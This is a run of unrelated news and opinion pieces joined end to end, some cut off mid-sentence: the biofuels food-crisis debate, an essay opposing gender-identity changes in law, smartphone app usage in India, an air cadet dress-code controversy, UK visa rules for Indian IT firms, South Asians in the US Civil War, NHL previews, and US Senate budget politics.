A Harvard professor of environmental studies who has advised Mr. Gore, Michael McElroy, warned in a November-December 2006 article in Harvard Magazine that "the production of ethanol from either corn or sugar cane presents a new dilemma: whether the feedstock should be devoted to food or fuel. With increasing use of corn and sugar cane for fuel, a rise in related food prices would seem inevitable." The article, "The Ethanol Illusion" went so far as to praise Senator McCain for summing up the corn-ethanol energy initiative launched in the United States in 2003 as "highway robbery perpetrated on the American public by Congress."
In Britain, some hunger-relief and environmental groups have turned sharply against biofuels. "Setting mandatory targets for biofuels before we are aware of their full impact is madness," Philip Bloomer of Oxfam told the BBC.
Biofuel advocates say they are being made a bogeyman for a food crisis that has much more to do with record oil prices, surging demand in the developing world, and unusual weather patterns. "The people who seek to solely blame ethanol for the food crisis and the rising price of food that we see across the globe are taking a terribly simplistic look at this very complex issue," Matthew Hartwig of the Renewable Fuels Association said.
Mr. Hartwig said oil companies and food manufacturers are behind the attempt to undercut ethanol. "There is a concerted misinformation campaign being put out there by those people who are threatened by ethanol's growing prominence in the marketplace," he said.
The most obvious impact the food crisis has had in America, aside from higher prices, is the imposition of rationing at some warehouse stores to deal with a spike in demand for large quantities of rice, oil, and flour. The CEO of Costco Wholesale Corp., James Sinegal, is blaming press hype for the buying limits, which were first reported Monday in The New York Sun.
"If it hadn't been picked up and become so prominent in the news, I doubt that we would have had the problems that we're having in trying to limit it at this point," Mr. Sinegal told Fox News Thursday. "I mean, I can't believe the amount of attention that is being paid to this."
The Sun's article, which came as food riots were reported abroad, circulated quickly on the Internet, was republished in newspapers as far away as India, and prompted local and network television stories.
Speaking in Kansas City, Mo., yesterday, the federal agriculture secretary, Edward Schafer, blamed emotion for the spurt of rice buying at warehouse stores. "We don't see any evidence of the lack of availability of rice. There are no supply issues," he told reporters, according to Reuters.Whether she knew it or not, when Vanita Gupta, the acting head of the Civil Rights Division of the Department of Justice, stated earlier this month that trans women are women and trans men are men, she was making a metaphysical claim.
Her claim is that men and women are not most fundamentally human persons. Rather, they are minds unmoored from human bodies. But the law does not govern human minds; indeed, it cannot. The law governs human persons, who are always and everywhere embodied. And human bodies are always and everywhere sexed.
Clearly, the most tragic casualties of this latest social experiment are the vulnerable boys, girls, men, and women undergoing medical “treatments” in an attempt to align their given bodies with their troubled minds. Perhaps the second greatest casualty is the rule of law itself. Law, after all, is comprised of language. Indeed, it is adherence to the meaning of language that makes the rule of law possible. Though one may have quibbles with Justice Scalia’s brand of originalism, the late justice’s view that the people of our constitutional republic are governed legitimately not by legislative intent or judicial sentiment, but by the public meaning of the language of a law at the time of its enactment, has force for precisely this reason: so that we are a people governed by law and not by men.
The gross misappropriation of executive power on the part of the Obama administration to utterly remake the meaning of very basic legal terms—understood by Americans to yield particular meaning until May 2016—threatens not only our structure of government; it threatens the rule of law itself. This distortion of legal language is a particular threat to laws concerning women.
Ejecting the Human Body from Law
When the DOJ uses the word “woman” to include biological men who believe they are women, it is not only changing that particular legal term. It is upending how law works and why it has legitimacy. The particular legal terms the DOJ seeks to change—male and female, man and woman—are foundational to our system of law. They are foundational because our sexed bodies are constitutive of who we are as human persons. In a fanciful attempt to de-sex the legal terms men and women, we eliminate bodies from the law. But the law can only govern embodied persons—because those are the only kind of persons there are.
British philosopher Daniel Moody makes this point in his recent book, The Flesh Made Word. He writes:
Sex points to the whole of somebody. If we were to take away John’s hands, we would be left with somebody, but to take away John’s sex we would need to take away the whole of this body, which would leave nobody.... Sex is neither a part of the body nor a property of the body. Sex is the name we use to point toward that thing which the body itself is constituted of. Sex is not something we do. It is something we are. Unable to redefine the natural realities named Male and Female, [the law] has instead separated its use of those names from the definitions belonging to non-interchangeable sexed bodies. John and Joan continue to be male-sexed and female-sexed and they can still legally access the names Male and Female. But in [law] those names no longer have bodies behind them. In ejecting sex from man-made law we eject whole bodies. [Thus,] Joan’s whole body has been left shrouded in a cloak of legal silence, legally invisible.
In the world the DOJ has planned, men and women are no longer governed as embodied persons. Instead, they are “made of language.” As Moody puts it, a transgendered man “speaks his ‘femaleness’ into existence.”
But this movement from a law that governs embodied persons to a fiction called law that (attempts to) govern individuals’ changeable states of mind does not affect only those who refer to themselves as “trans.” By ejecting the body from law, every individual’s legal identity rests not on the reality of his or her given, embodied existence but instead on his or her selected “gender identity.” Our legal identity as “male” or “female” in this brave new world is not who we are—it is what we have chosen. The full consequences of this sort of existential voluntarism at the ground level of the law are unknowable, yet if Nietzsche is to be fully vindicated, they will include a will to power frightful in its impact on the weak and vulnerable. (I’m reminded of when my husband jested at the birth of our first child, “We could even teach her that black was white and white was black.” Indeed.)
Erasing Woman
Once the law subordinates the sexed body to a subjectively determined “gender identity,” the sexed body becomes legally invisible. When Judith Butler, the intellectual guru of the trans movement, channels Nietzsche and states that there is “no doer before the deed,” no person or subject before his or her “performative utterance,” she is intimating that women as a distinct class should be removed from social understanding, and so, ipso facto, from the law. (Trans activists now refuse to refer to abortion as a “women’s issue,” since men, they claim, can get pregnant too.)
Whatever one makes of the merits of feminist identity politics as a whole, to deny that women are a legal class distinct from men is to erase the female body from social, legal, and political consideration. This is deeply problematic for a whole host of reasons, including but not limited to: legislating on and healing from sexual assault (whose perpetrators are disproportionately male); researching and treating women’s distinctive nutritional, medical, and pharmaceutical needs; promoting the proven merits of single-sex educational and sports programs; and creating authentic solutions for those who seek flexible work arrangements in order to prioritize family obligations (the vast majority of whom continue to be women). Radical feminists have taken note, and many of them have written and spoken out against the movement to legally codify transgenderism. Because of this inexcusably “essentialist” perspective, they have been cast out from Gender Studies departments, which have been trans-formed by the gender ideology of Foucault and Butler.
But feminism only makes sense if one takes seriously the sexed body—and the reproductive asymmetry inherent therein. As British political theorist and radical feminist Rebecca Reilly-Cooper writes,
Women’s oppression has its historical roots and its ostensible justification in female biology and the exploitation of female reproductive labour. Altering the definition of the word “female” so that it now means “any person who believes themselves to be female” is not only conceptually incoherent... it also removes the possibility of analysing the structural oppression of female persons as a class, by eradicating the terminology we use to describe the material conditions of their existence.... If we do not recognise the material reality of biological sex and its significance as an axis of oppression, women’s experience of oppression becomes literally unspeakable. We lose the terminology and tools of analysis – tools carefully developed by generations of feminists working before us—to make sense of female experience, and of the reality of negotiating a male-dominated world in a female body [emphasis in original].
Those of us who disagree sharply with radical feminists on a whole host of issues must here agree: It is not evidence of biological determinism or essentialism to state the facts of the human body. But it is sexist to deny—or worse, despise—them.
The Truth of Sexual Dimorphism
Male and female are the names given to the two sexes according to their potential reproductive function. The reality that some infants are born “intersex” does not deny this; it points to the difficult fact that exceptions in nature do occur, often tragically, and that as a civilized society, we ought to find the most compassionate and medically sound response. The same is true of those who experience sexual dysphoria. But hard cases make bad law: the reality of intersexuality ought not distort the law governing the vast majority of human beings, born as male and female. As Reilly-Cooper puts it: “The fact that some humans are intersex in no way diminishes the truth of sexual dimorphism, any more than the fact that some humans are born missing lower limbs diminishes the truth of the statement that humans are bipedal.”
Our distinctive reproductive function is why we distinguish between the two embodied instantiations of humanity at all (though we are also learning more about how sexual difference affects medical treatment as well). When the bodies of men and women are joined in the sexual act—in an act of love, mere consent, or by violent force—women’s bodies have the capacity to gestate newly created vulnerable human beings. Men’s bodies do not. This |
swept through the school.
“It’s either fight or flight or in some cases freeze,” he said. “But everybody was running.”NEW DELHI: Smartphone users in India spend 47 percent of their time on communication applications such as WhatsApp, We Chat, Hike and Skype which are key driver of mobile broadband usage, says a report.
"Communication continues to be the dominant activity on smartphones. Communication apps are 'always on' and are a key driver of mobile broadband usage," the report by Swedish telecom equipment maker Ericsson said."As per our report, Indians spend 47 percent of time using communications apps such as voice, instant messaging, voice over internet protocol (example Skype), emails and social networking on smartphones," Ericsson said. The report said communication apps have a higher dependency on mobile broadband usage, due to their 'always on' status.The report analysed app usage behaviour using on-device measurements across several markets, including India, with a particular focus on how messaging and social media apps influence the way people communicate. The research sample represents Android smartphone users in India, Japan, South Korea, the UK, and the US.In India, 7,500 Android users were surveyed. The report said across the US, the UK and India, more than 30 per cent of the time spent on smartphones is spent on communicating apps. "We found that 40-50 per cent of data consumption for communication apps uses mobile broadband, whereas the corresponding figure for video is just 20 per cent," Ericsson ConsumerLab Senior Advisor Swetleena Swain said.A mother of a 13-year-old girl in St. John's says she's shocked by a handbook for air cadets' parents that unnecessarily sexualizes teenage girls.
Melissa Moores said her daughter, 13, went to an event for prospective cadets with the 510 Lions Royal Canadian Air Cadet Squadron in St. John's — and came back with a dress code that Moores says made inappropriate references to girls' bodies.
For Moores, one section of the guide drew her attention: "The Four Bs" — "boobs, belly, bums, boxers." Specifically, she said, she was shocked by a line that read "girls are to wear shirts which do not reveal their developing bits."
It shouldn't be like that in 2016. It seems very offensive. - Melissa Moores
"It just seemed wrong, I had to read it twice. I had this sick feeling in my stomach. It just seemed it shouldn't be there," Moores said Thursday night.
"It shouldn't be like that in 2016; it seems very offensive and [it's] sexualizing a woman when it doesn't need to be at all."
Minister of National Defence Harjit Sajjan called the language used in the parent guide 'completely unacceptable.' (Nathan Denette/Canadian Press)
Unfair targets
Moores said she doesn't have a problem with the cadet squadron outlining a dress code, but believes the language was inappropriately sexual, and girls are being unfairly targeted by "The Four Bs."
"I understand that cadets and the military, they want everyone to dress the same and it's all about being as one, but I wasn't expecting them to tell my daughter that, being a girl, her boobs are going to be an issue,"
"You wouldn't tell a guy not to wear pants too tight because it would show his 'developing bits.'"
In a pair of statements released Friday, Canada's Armed Forces and the Department of National Defence both said the language used was "unacceptable."
Brig.-Gen. Kelly Woiden, the commander of the National Cadet and Junior Canadian Rangers Support Group, told CBC News he believed the language used in the St. John's Squadron guide is an 'isolated case.' (CBC) "This shaming of young women is offensive to me as a person, as a father, and as the minister of national defence," Defence Minister Harjit Sajjan wrote.
"It is completely inappropriate. I am disappointed that in 2016, these attitudes still prevail, and we will be ruthless in stamping it out within our organizations."
Canada's top soldier, Chief of Defence staff Gen. Jonathan Vance, expressed his "personal apologies" to the parents and members of the 510 Lions, and said he had directed his staff to ensure that material distributed through the cadets reflected the military's values.
Moores said instead of sexualizing girls, dress code advice should be more general and include all cadets.
"If they want the cadets to be dressed a certain way, they should say during PT time — when you're permitted to wear civilian clothing — all dress needs to be loose fitting and you need to be covered appropriately, for everybody."
'Isolated case'
Brig.-Gen. Kelly Woiden, the commander of the National Cadet and Junior Canadian Rangers Support Group, told CBC News he believed the language used in the St. John's Squadron guide is an "isolated case."
He's pledged an investigation into the language, which he said he believes was approved in St. John's.
"I've immediately directed it to be rescinded, I've immediately asked as well... to review similar types of documents across the country, and ensure that that wording was an isolated case," he said.
The 510 Lions did not respond to direct requests for comment.
Woiden said the cadet organization contains many young women — in some groups, more than 50 per cent are girls — and insists the cadets are an open organization with a lot to offer.With the graph of unemployment on an all time high in the UK, Indian tech companies are believed to be the main culprit for the matter. UK being a major export market for more than $40 billion of India’s software industry, lower salary employees from India are alleged to replace local UK workers. As a result, MAC (Migration Advisory Committee) presented a more stringent immigration rules proposal for evaluation by the UK Government.
Top tech firms of India that includes Infosys, TCS, Tech Mahindra and Wipro serve British Customers like British Airways, BT and British petroleum as they send their Indian professionals to complete short-term assignments in the UK. However, if immigration norms go according to the MAC proposal, these companies may need to switch over to UK workers rather than Indian employees to handle their onsite projects.
Many UK anti-off shoring lobbies like Unite and APSCo (The Association of Professional Staffing Companies) claim the misuse of ‘intra-company transfer’ regulations by Indian tech companies as UK workers are being replaced by Indian employees whose wages are even lesser than country’s prescribed salary levels.
The MAC proposal submitted to the UK’s Home Office by the Professor David Metcalf, chairman of the committee, comprise in recommendation to increase threshold salary requirements, in order to make it difficult for graduate skilled workers to earn the necessary points to allocate work permits. Given below is the threshold salary requirement proposed in the MAC report:
Points gained Minimum salary requirement Proposed by the MAC report Current threshold salary requirement 10 points £24,000 per annum £20,000 15 points £28,000 per annum £22,000
Earning threshold should be in accordance with inflation in earnings, remarks the MAC report.
Work permits granted by the UK to professionals gaining entry via intra-company transfer last year, counts to almost 45,766. Majority of these permits were awarded to IT professionals and almost 69 percent of them were Indian nationals. Further, around 48 percent of transfers under the intra-company category are granted for Indian professionals of only one occupation, namely, software professionals.
On the other hand, lobby for the software industry in India, Nasscom, do not seem to have any problem with the MAC report. They believe that such changes will fix loopholes of current system and keep a check on abuses that were previously reported. With a specialized system to audit dealings of the visa process, new norms make sure adherence to guidelines, says president of the Nasscom, Som Mittal. Salary threshold requirement of 20,000 pounds per annum is also suitable as only 0.2% of the present ICT employees who go to the UK have a salary below that level, he adds.
However, another recommendation mentioned in the MAC report asks for calling off the right to the PR status to migrants in the UK, coming via intra-company transfer. According to the current system, migrants who have worked in the UK for five years under the Tier 2 visa including intra-company transfer route, is eligible to apply for permanent residence.
At the same time, Indian IT professionals in the UK are of the opinion that such amendments would not be of any help. Calling off the right to permanent residence in the UK for immigrants coming under the Tier 2 visas would mean injustice of the skilled professionals who need to shell out taxes without being able to apply for UK permanent residence, says Amit Kapadia, executive director of the Highly Skilled Migrant Programme (HSMP) Forum in UK.
Experts like TowGroup’s research director, Bob McDowall, agrees to the allegations of the wages of Indian professionals being below the minimum UK wage but he also adds that the substantial difference in the cost of living in the UK and India cannot be denied.
Also, increased work experience requirement for IT workers coming for short-term projects in the UK is another point of addition in the MAC report. To make sure that the route permits only professionals with expertise specific to their company to immigrate to the UK, the qualifying period is proposed to make double from 6 to 12 months for company overseas.
Recommendations by MAC are completely advisory and nothing can be said about its acceptance until an approval from the Home Office. So, all that can be done is wait for the Home Office to respond.“It is rather for us to be here dedicated to the great task remaining before us–that from these honored dead we take increased devotion to that cause for which they gave the last full measure of devotion–that we here highly resolve that these dead shall not have died in vain–that this nation, under God, shall have a new birth of freedom–and that government of the people, by the people, for the people, shall not perish from the earth.”
-The Gettysburg Address, Nov. 19, 1863
Indolink’s Francis C. Assisi and Elizabeth Pothen have done a great bit of investigative journalism to uncover the details of the men of South Asian ancestry that fought during the American Civil War, mostly with the Navy.
The untold saga of people from the Indian subcontinent, who enlisted and served in the US Civil War of the 1860s, has been uncovered through the National Archives and the newly set up database, Civil War Soldiers System (CWSS) in Washington, D.C.
We have obtained additional evidence from the muster rolls (service documentation) of civil war veterans, which reveal that at least 50 South Asians enlisted and served in the US armed forces at the height of the US Civil War (1861-1865). Research over the past three years provide the bare outline about these South Asians who chose to fight for America at a critical point in the country’s history, then settled in the United States, raising families and receiving their war service pensions. This is the first time that the extant of South Asian participants in the US Civil War is being revealed. The work continues as we examine pension files in order to supplement the list of names with a more complete record of information about the experience of these enlistees and their families throughout the Civil War era. Efforts are also underway to locate their surviving family members through genealogical resources.
Fascinating. I just don’t know what else to say. I mean there weren’t enough of us to form an infantry brigade or anything but I had no idea that South Asians were involved in the Civil War.
Because many of these South Asians had anglicized their names on coming to the U.S., it is often difficult to confirm their nativity from the name alone. But fortunately the military archives and the records relating to them provide enough information about their place of birth along with some physical features. Records reveal that the South Asian servicemen who came from India were born in Calcutta, Bombay, Madras, Burhampur, Pondicherry and Bangalore. And their complexion was categorized variously as mulatto, creole, negro, swarthy, bronze or dark. They came from a variety of backgrounds: sailors, mariners, machinists, farmers, cooks, laborers, as well as the occasional student. They had enlisted in the Navy, the Cavalry, Artillery, and Infantry, serving in various capacities — from Sergeant and Seaman to Fireman, Steward, and Cook.
With every name I read my jaw dropped lower as I tried to imagine what they looked like and what kind of life they led:
The records of Charles Simons, who earned a Medal of Honor from President Lincoln in 1864, indicate that he was born in India, had enlisted in Virginia, and attained the rank of a Sergeant in Company A of the 9th New Hampshire Infantry. The Muster Rolls of the USS Minnesota show a John Burns of Madras, India, as having served in that vessel. Burns, aged 23, was a mariner by occupation and he enlisted on June 17, 1864 for 3 years at New York. He was described as having gray eyes, black hair and a dark complexion. Henry S. Bell, a native of Calcutta, aged 21, and a baker by profession, enlisted February 24, 1862 for the war at New York. He is shown in the Muster Rolls of the USS Orvetta and USS Pontiac and described as Negro. Similarly Joseph Sortee of Madras and John Joseph (USS Lancaster) a mariner from Bombay, are both described as Negroes. James Bradshaw of Calcutta who served as a cook aboard the USS Mystic is described as “black.” Another, Joseph Raimen, also from India, is described as Creole. Peter Blake, 23, born in Ceylon, enlisted on June13, 1864 in Boston as a Wardroom Cook and served for two years aboard the vessels Tristram Shandy, Massasoit and Boxer. The records describe his complexion as “Mulatto.”
We often get into testy debates on this blog with people who don’t like the ”South Asian” label. This just takes it to a whole new level. Brown is just brown…or yellow or black for that matter. PLEASE read the whole article because it’s worth every minute. Hopefully some ambitious Ph.D. student out there who is looking for a thesis would like to tackle this topic.
Thorough combing for files on a substantial subject will require time spent in Washington and the unglamorous scanning of reels of microfilm, handwritten papers, or both. Unglamorous, but not necessarily unrewarding. The archival researcher is the custodian of files that, with perseverance and luck, can resurrect hidden gems of information. The secret is that, for all the labor and time they can absorb, the archives and the records themselves are immensely satisfying. Not only do they inform and enlighten, they can also touch and inspire those intrepid enough to seek them out. This story of forgotten Desis who chose to fight for America and in American soil, is just one example.
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p>I’m waiting for the movie.We’re approaching what could be a pretty slow summer for goalie moves. There really aren’t that many No. 1 candidates approaching free agency or plausibly available via trade; at the same time 80 percent of the league – 24 teams – has a legitimate starter under contract and two more clubs have one entering restricted free agency.
The List
The following chart is colour-coded in the same manner as the NHL Numbers team pages, with pending unrestricted free agents in red and restricted free agents in green.
We can also add college and European goalies to the list; doubtless one or two of them will compete for a backup job in the NHL next year.
By my count, there are four teams that potentially need a new starting goaltender: Buffalo, Edmonton, Minnesota and San Jose. We can probably add Arizona as being interested in the right situation, but Mike Smith’s contract makes adding nay expensive option difficult; the team is probably more likely to try something similar to what it did last summer with Devan Dubnyk, particularly since another year at the bottom of the standings probably won’t hurt the Coyotes any.
There are at least that many candidates. Free agents Dubnyk and Antti Niemi are likely to claim two of the four jobs, with a good guess being that Dubnyk stays in Minnesota and Niemi lands one of the other open jobs. There are also several current backups slotted for free agency who might be of interest as starters – Karri Ramo, Jonas Enroth, Michal Neuvirth and perhaps even Thomas Greiss (87 career games, 0.914 save percentage).
There are also several younger players under contract who might get a shot. If Toronto opts to trade Jonathan Bernier, they might simply promote James Reimer. Eddie Lack in Vancouver has another year on his deal but will then be a UFA; a trade this summer would not be surprising. Ottawa has three good goalies and one of them is virtually certain to be moved. Petr Mrazek, Martin Jones and Andrei Vasilevskiy are all highly-regarded young goalies behind established starters and could plausibly be in play as a result; Cam Talbot is a little older but has been outstanding in relief of Henrik Lundqvist in New York.
As usual, it appears this summer will be a buyer’s market for goalies.
RECENTLY BY JONATHAN WILLISSenate Budget Committee Mike Enzi Michael (Mike) Bradley EnziWill Senate GOP try to pass a budget this year? Presumptive benefits to Blue Water Navy veterans are a major win If single payer were really a bargain, supporters like Rep. John Yarmuth would be upfront about its cost MORE (R-Wyo.) is postponing action on the budget amidst disagreements in the House over spending cuts.
Enzi announced Monday that his committee will postpone possible action this month but will continue to discuss their options.
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He argued that the Senate can pass appropriations bills even without a budget resolution because the top-line spending numbers were set in last year’s budget deal. Vulnerable GOP incumbents who are not eager to take politically charged votes this spring have made the same argument.
“The Senate Budget Committee will continue to discuss the budget as well as improvements to the budget process that would increase fiscal honesty, stability in government operations and the ability to govern our nation,” Enzi said in a statement.
“The Senate already has top-line numbers and budget enforcement features available this year so that a regular order appropriations process can move forward while we continue to discuss broader budget challenges,” he said.
Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellWhite House pleads with Senate GOP on emergency declaration Senate Dems seek to turn tables on GOP in climate change fight Pence meets with Senate GOP for 'robust' discussion on Trump declaration MORE (R-Ky.) pledged earlier this year that Republicans would make “a major effort” to pass a budget, repeatedly noting it’s required by law.
Republicans regularly bashed Democrats when they controlled the chamber for skipping budgets.
McConnell pledged in 2014 that Republicans would pass a budget every year if they won control of the Senate.
“I don’t think the law says ‘pass a budget unless it’s hard.’ So I think there’s no question that we would — we would take up our responsibility,” he told reporters, adding, “every year.”
Democrats on Monday accused Republicans of hypocrisy.
“In addition to this being the height of hypocrisy from the same Republicans that screamed bloody murder on this issue for years, its proof positive that Republicans are terrified to make their governing argument in an election year,” said a senior Democratic aide.
“The Republican agenda of slashing entitlements and key middle class programs in order to heap more tax cuts on the wealthy and special interests is a loser at the polls, so it’s no surprise they want to keep their priorities hidden from view,” the aide added.
In recent weeks, Republican senators have said privately they would probably not act if House Republicans failed to achieve consensus on a fiscal blueprint.
In House, Budget Committee Chairman Tom Price (R-Ga.) has clashed with conservative members of the House Freedom Caucus, who have demanded spending levels below what leaders in both chambers agreed to in October’s budget deal.
The Bipartisan Budget Act passed last fall sets top-line spending numbers, which will allow the Senate Appropriations Committee to move spending bills without a budgetary vote on the floor.
Enzi noted that if the House passes a budget resolution, it can be brought directly to the Senate floor after April 1, in accordance with the 1974 Budget Act.The co-writer of President Trump's bestselling book "The Art of the Deal" predicted Thursday that Trump will resign before he is consumed by one of the scandals rocking the White House.
In an interview with CNN, Tony Schwartz said that Trump is in "pure terror" that the scandals surrounding his administration could boil over to impeachment, and will likely walk away.
“There is no right and wrong for Trump. There’s winning and losing. And that’s very different from right and wrong. Right now he’s in pure terror that he is going to lose," Schwartz said.
"And by the way, he is going to lose.”
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Schwartz predicted that Trump will seek a way to turn resignation into victory.
“He wants to figure out a way — as he’s done all his career — to turn a loss into a victory,” the author said. "And so he will declare victory when he leaves.”
Schwartz published "The Art of the Deal" in 1987 as a co-writer with Trump. Since then, the book has sold more than a million copies.NHL.com continues its preview of the 2013-14 season, which will include in-depth looks at all 30 teams throughout September.
Getting into the Stanley Cup Playoffs in the Western Conference proved a difficult task for the Columbus Blue Jackets. They have made it to the postseason once in their first 13 seasons.
Will the move this season to the Eastern Conference help?
The Blue Jackets are one of seven teams that will play in the Eastern Conference this season that sat out the 2013 Stanley Cup Playoffs. The question the unlucky seven have been asking themselves since the end of April is what they can do to change those fortunes and go from postseason misses to playoff hits.
With training camps opening this week, NHL.com examines why fans of those subpar seven from a season ago can harbor dreams of top-eight finishes in 2013-14.
COLUMBUS BLUE JACKETS
Last season: 24-14-7, 55 points, lost eighth spot in Western Conference on a tiebreaker
How it ended: The Blue Jackets won eight of their final nine games to tie the Minnesota Wild for eighth place in the West, but lost the tiebreaker for having three fewer non-shootout wins.
Offseason changes: In his first foray into free agency, general manager Jarmo Kekalainen made a huge splash when he signed free-agent forward Nathan Horton to a seven-year, $37.1 million contract. Kekalainen knew Horton needed shoulder surgery when he signed the deal, but figures it'll be worth the wait once Horton debuts, possibly as soon as sometime in December. He also eliminated any issues with goaltender Sergei Bobrovsky, signing the restricted free agent to a new two-year contract. The Jackets also added depth to the bottom of the roster by signing free-agent forward Jack Skille.
Why they could get in: The Jackets have the reigning Vezina Trophy winner in net in Bobrovsky, a deep defense corps that could add Ryan Murray, the second pick of the 2012 NHL Draft, who is fully recovered from a shoulder injury that ended his 2012-13 season in November and a full season of star sniper Marian Gaborik. The Jackets played a scrappy, underdog style last season that nearly got them into the postseason. Now, with the move the Eastern Conference and the easier travel that goes with it, the franchise's second-ever trip to the postseason should be within reach.
PHILADELPHIA FLYERS
Last season: 23-22-3, 49 points, six points out of eighth place in the East
How it ended: The Flyers struggled through most of March, and when they finally strung together their longest win streak of the season, four straight in the first week of April, they responded with four straight losses and missed the playoffs for the second time since 1994.
Vincent Lecavalier 2012-13 STATS GOALS: 10 | ASST: 22 | PTS: 32
SOG: 86 | +/-: -5
To open cap space, the Flyers used their compliance buyouts on forward Daniel Briere and goaltender Ilya Bryzgalov. With that money that saved, they traded for puck-moving defenseman Mark Streit from the New York Islanders and signed him to a new four-year contract. Goaltender Ray Emery signed a one-year deal to share time in net with Steve Mason. And when Vincent Lecavalier surprisingly hit the free-agent market, the Flyers pounced with a five-year contract. Training camp invitees Daniel Cleary and Hal Gill will have chances to earn contracts.
Why they could get in: With Emery and Mason replacing the polarizing Bryzgalov, the Flyers have a similar goaltending situation to what Emery had with Corey Crawford in Chicago, which certainly worked well for the Blackhawks. Lecavalier joins Claude Giroux and Sean Couturier to give the Flyers remarkable skill and depth up the middle. Philadelphia has a wealth of offensive talent and if the injuries that decimated the blue line last season -- six veteran defensemen finished the season on the injured list -- can be avoided, a return to postseason play should be a real possibility.
NEW JERSEY DEVILS
Last season: 19-19-10, 48 points, seven points out of eighth place in the East
How it ended: A 10-game winless skid from the end of March through the middle of April saw the Devils plummet from sixth in the Eastern Conference to 11th, and they never were able to recover.
Offseason changes: The summer started on a high when the team made the stunning acquisition of goaltender Cory Schneider from the Vancouver Canucks. However, things went the other way when David Clarkson left as a free agent for the Toronto Maple Leafs. Days later, Ilya Kovalchuk announced his retirement from the NHL three years into a 15-year contract. The team added forwards Jaromir Jagr, Ryane Clowe, Michael Ryder and Rostislav Olesz in free agency with the hope that they can fill some of the offensive losses. The team also re-signed defenseman Marek Zidlicky, which allowed them to trade veteran defenseman Henrik Tallinder to the Buffalo Sabres for a minor-league forward.
Jaromir Jagr could help the Devils compete for a playoff spot in 2013-14 despite the surprising departure of Ilya Kovalchuk. (Photo: NHL.com Illustrations) Jaromir Jagr could help the Devils compete for a playoff spot in 2013-14 despite the surprising departure of Ilya Kovalchuk.
Why they could get in: With Schneider and future Hall of Fame member Martin Brodeur, the Devils could have the best goaltending tandem in the League, and the pair will more than make up for any offensive deficiencies. And the cupboard isn't completely bare up front. Adam Henrique's points were down from his rookie season in 2011-12, but he was on a 21-goal pace over 82 games, which is more than the 16 he had in his first season. Jagr still has the ability to contribute in a top-six role and on the power play. If Clowe is healthy from his concussion issues last season, he is a dominating power forward with a skill set similar to Clarkson's. Combine them with Ryder, Patrik Elias, Travis Zajac and Dainius Zubrus, and the Devils have the makings of at least two very good lines. Add in their goaltending riches and a return to the postseason would not be a surprise.
BUFFALO SABRES
Last season: 21-21-6, 48 points, seven points out of eighth place in the East
How it ended: The Sabres finished strong, winning eight of their final 12, but the hole dug by an awful start proved too deep to escape.
Offseason changes: Sabres general manager Darcy Regier put most of his offseason work into upgrading the team's defense. With its two first-round picks the team selected giants Rasmus Ristolainen (6-foot-4, 207) and Nikita Zadorov (6-5, 221), and appears willing to give both a chance to make the team out of training camp. In addition, veteran defenseman Henrik Tallinder was reacquired in a trade with the New Jersey Devils; he played his first eight NHL seasons with the Sabres.
Why they could get in: Coach Ron Rolston had the Sabres' level of play improved so much by the end of last season that they were able to enter the fringes of playoff discussion. Tallinder's return should help Tyler Myers get back to the form he showed when they were paired in Myers' rookie season. The club still has an elite goaltender in Ryan Miller and a dynamic offensive force in Thomas Vanek. If some of the Sabres' other talented offensive players can bounce back, the foundation is in place for a team that could grab one of the final two spots in the East.
CAROLINA HURRICANES
Last season: 19-25-4, 42 points, 13 points out of eighth place in the East
FANTASY HOCKEY Ward among injury bounce-back candidates
How it ended: The Hurricanes were leading the Southeast Division on March 3 when goalie Cam Ward sustained a season-ending knee injury. Without him, they finished the season 7-17-3.
Offseason changes: GM Jim Rutherford built from the back end out over the summer. He signed Anton Khudobin to replace Dan Ellis as Ward's backup in goal. To bolster the blue line he traded Jamie McBain and a draft pick to the Buffalo Sabres for Andrej Sekera and signed free agent Mike Komisarek after he was bought out by the Toronto Maple Leafs. Joe Corvo, who led the team's defensemen last season with 17 points, left for the Ottawa Senators in free agency. Also departing from last season's blue line were Bobby Sanguinetti, Marc-Andre Bergeron and Marc-Andre Gragnani. The big loss, however, was top defenseman Joni Pitkanen, who will miss the season as he continues to recover from a broken left heel sustained in April.
Why they could get in: The Hurricanes were a first-place team when Ward got hurt, but in his absence things went downhill fast. He's healthy now, and with Khudobin backing him up, coach Kirk Muller will have a more reliable option to go to if he wants to give Ward a night off. Carolina should be able to survive the loss of Pitkanen with the arrival of 20-year-old offensive dynamo Ryan Murphy, the team's top pick in the 2011 NHL Draft, as well as the additions of Komisarek and Sekera. With Eric Staal healthy after his knee injury at the World Championship, the Hurricanes again will have one of the top first-lines in the League -- Staal, Alexander Semin and Jiri Tlusty combined for 54 goals last season. There's also a nice support group behind them, including Jordan Staal, Jeff Skinner and 2013 first-round pick Elias Lindholm, who is expected to at least start the season with the Hurricanes. With a healthy Ward in net and the defensive changes, the Hurricanes should be in the hunt for one of the wild-card playoff spots in the East.
TAMPA BAY LIGHTNING
Last season: 18-26-4, 40 points, 15 points out of eighth place in the East
How it ended: The Lightning started with six wins in their first seven games, but went 12-25-4 the rest of the way.
Offseason changes: The Lightning finished third in scoring in the regular season, but general manager Steve Yzerman's biggest offseason moves involved upgrading the offense. The team made longtime captain Vincent Lecavalier a compliance buyout, and with the cap savings signed free agent Valtteri Filppula to a five-year contract. And with the third pick of the 2013 NHL Draft, the team picked high-scoring left wing Jonathan Drouin, who was the Canadian Hockey League's player of the year last season and could start 2013-14 on the team's top line.
Ben Bishop 2012-13 STATS RECORD: 11-9-1
GAA: 2.67 | SVP: 0.920
Defenseman Radko Gudas isn't a well-known player around the League, but his arrival from the American Hockey League last season added a missing physical element and helped cut the team's goals-against (3.12 in 25 games without him, 3.00 in 23 games after his call-up). Also helping with be a full season of Anders Lindback and Ben Bishop sharing time in goal, and as each looks to earn the No. 1 job, the competition should benefit the team's win/loss record. Even without Lecavalier, the offense will be outstanding with Steven Stamkos likely again in the running for the Rocket Richard Trophy and the ageless Martin St. Louis sharing his wisdom with the ultra-talented Drouin. Filppula makes the Lightning younger and potentially more skilled on the second line. Coach Jon Cooper has done a lot of winning in his coaching career, and there's no reason to think he won't continue those ways in his first full season in charge of the Lightning.
FLORIDA PANTHERS
Last season: 15-27-6, 36 points, 19 points out of eighth place in the East
How it ended: A never-ending spate of injuries kept the Panthers from icing the team that won the Southeast Division in 2011-12, and the Panthers finished with the fewest points in the League for the first time in franchise history.
Jacob Markstrom 2012-13 STATS RECORD: 8-14-1
GAA: 3.22 | SVP: 0.901
